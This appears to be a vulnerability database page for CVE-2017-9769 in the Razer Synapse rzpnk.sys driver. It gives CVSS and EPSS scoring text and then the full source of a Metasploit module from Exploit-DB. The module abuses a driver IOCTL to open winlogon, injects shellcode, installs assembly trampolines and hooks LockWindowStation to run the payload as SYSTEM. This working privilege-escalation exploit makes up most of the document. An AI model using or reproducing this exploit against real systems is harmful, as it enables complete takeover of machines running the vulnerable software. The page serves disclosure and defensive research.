Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE Other |
No informations. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 42368
Publication date : 2017-07-23 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/local/windows_kernel'
require 'rex'
require 'metasm'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::Windows::Priv
# the max size our hook can be, used before it's generated for the allocation
HOOK_STUB_MAX_LENGTH = 256
def initialize(info = {})
super(update_info(info,
'Name' => 'Razer Synapse rzpnk.sys ZwOpenProcess',
'Description' => %q{
A vulnerability exists in the latest version of Razer Synapse
(v2.20.15.1104 as of the day of disclosure) which can be leveraged
locally by a malicious application to elevate its privileges to those of
NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
in the rzpnk.sys driver that passes a PID specified by the user to
ZwOpenProcess. This can be issued by an application to open a handle to
an arbitrary process with the necessary privileges to allocate, read and
write memory in the specified process.
This exploit leverages this vulnerability to open a handle to the
winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
installing a hook to execute attacker controlled shellcode. This hook is
then triggered on demand by calling user32!LockWorkStation(), resulting
in the attacker's payload being executed with the privileges of the
infected winlogon process. In order for the issued IOCTL to work, the
RazerIngameEngine.exe process must not be running. This exploit will
check if it is, and attempt to kill it as necessary.
The vulnerable software can be found here:
https://www.razerzone.com/synapse/. No Razer hardware needs to be
connected in order to leverage this vulnerability.
This exploit is not opsec-safe due to the user being logged out as part
of the exploitation process.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'References' => [
['CVE', '2017-9769'],
['URL', 'https://warroom.securestate.com/cve-2017-9769/']
],
'Platform' => 'win',
'Targets' =>
[
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 10.0.10586
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 20
},
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Mar 22 2017'))
end
def check
# Validate that the driver has been loaded and that
# the version is the same as the one expected
client.sys.config.getdrivers.each do |d|
if d[:basename].downcase == 'rzpnk.sys'
expected_checksum = 'b4598c05d5440250633e25933fff42b0'
target_checksum = client.fs.file.md5(d[:filename])
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
end
end
Exploit::CheckCode::Safe
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if session.platform != 'windows'
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
elsif session.arch != ARCH_X64
fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
end
pid = session.sys.process['RazerIngameEngine.exe']
if pid
# if this process is running, the IOCTL won't work but the process runs
# with user privileges so we can kill it
print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")
session.sys.process.kill(pid)
end
pid = session.sys.process['winlogon.exe']
print_status("Found winlogon pid: #{pid}")
handle = get_handle(pid)
fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
vprint_status('Successfully opened a handle to the winlogon process')
winlogon = session.sys.process.new(pid, handle)
allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
shellcode_address = winlogon.memory.allocate(allocation_size)
winlogon.memory.protect(shellcode_address)
print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
winlogon.memory.write(shellcode_address, payload.encoded)
hook_stub_address = shellcode_address + payload.encoded.length
result = session.railgun.kernel32.LoadLibraryA('user32')
fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
user32_handle = result['return']
# resolve and backup the functions that we'll install trampolines in
user32_trampolines = {} # address => original chunk
user32_functions = ['LockWindowStation']
user32_functions.each do |function|
address = get_address(user32_handle, function)
winlogon.memory.protect(address)
user32_trampolines[function] = {
address: address,
original: winlogon.memory.read(address, 24)
}
end
# generate and install the hook asm
hook_stub = get_hook(shellcode_address, user32_trampolines)
fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
# if this happens, there was a programming error
fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH
winlogon.memory.write(hook_stub_address, hook_stub)
vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")
# install the asm trampolines to jump to the hook
user32_trampolines.each do |function, trampoline_info|
address = trampoline_info[:address]
trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{
mov rax, 0x#{address.to_s(16)}
push rax
mov rax, 0x#{hook_stub_address.to_s(16)}
jmp rax
}).encode_string
winlogon.memory.write(address, trampoline)
vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")
end
session.railgun.user32.LockWorkStation()
session.railgun.kernel32.CloseHandle(handle)
end
def get_address(dll_handle, function_name)
result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name)
fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0
result['return']
end
# this is where the actual vulnerability is leveraged
def get_handle(pid)
handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return nil unless handle
vprint_status('Successfully opened a handle to the driver')
buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[
['DWORD', 'FileHandle', 'in' ],
['DWORD', 'Event', 'in' ],
['LPVOID', 'ApcRoutine', 'in' ],
['LPVOID', 'ApcContext', 'in' ],
['PDWORD', 'IoStatusBlock', 'out'],
['DWORD', 'IoControlCode', 'in' ],
['PBLOB', 'InputBuffer', 'in' ],
['DWORD', 'InputBufferLength', 'in' ],
['PBLOB', 'OutputBuffer', 'out'],
['DWORD', 'OutputBufferLength', 'in' ],
])
result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)
return nil if result['return'] != 0
session.railgun.kernel32.CloseHandle(handle)
result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]
end
def get_hook(shellcode_address, restore)
dll_handle = session.railgun.kernel32.GetModuleHandleA('kernel32')['return']
return nil if dll_handle == 0
create_thread_address = get_address(dll_handle, 'CreateThread')
stub = %{
call main
; restore the functions where the trampolines were installed
push rbx
}
restore.each do |function, trampoline_info|
original = trampoline_info[:original].unpack('Q*')
stub << "mov rax, 0x#{trampoline_info[:address].to_s(16)}"
original.each do |chunk|
stub << %{
mov rbx, 0x#{chunk.to_s(16)}
mov qword ptr ds:[rax], rbx
add rax, 8
}
end
end
stub << %{
pop rbx
ret
main:
; backup registers we're going to mangle
push r9
push r8
push rdx
push rcx
; setup the arguments for the call to CreateThread
xor rax, rax
push rax ; lpThreadId
push rax ; dwCreationFlags
xor r9, r9 ; lpParameter
mov r8, 0x#{shellcode_address.to_s(16)} ; lpStartAddress
xor rdx, rdx ; dwStackSize
xor rcx, rcx ; lpThreadAttributes
mov rax, 0x#{create_thread_address.to_s(16)} ; &CreateThread
call rax
add rsp, 16
; restore arguments that were mangled
pop rcx
pop rdx
pop r8
pop r9
ret
}
Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string
end
end
Products Mentioned
Configuraton 0
Razer>>Synapse >> Version 2.20.15.1104
References
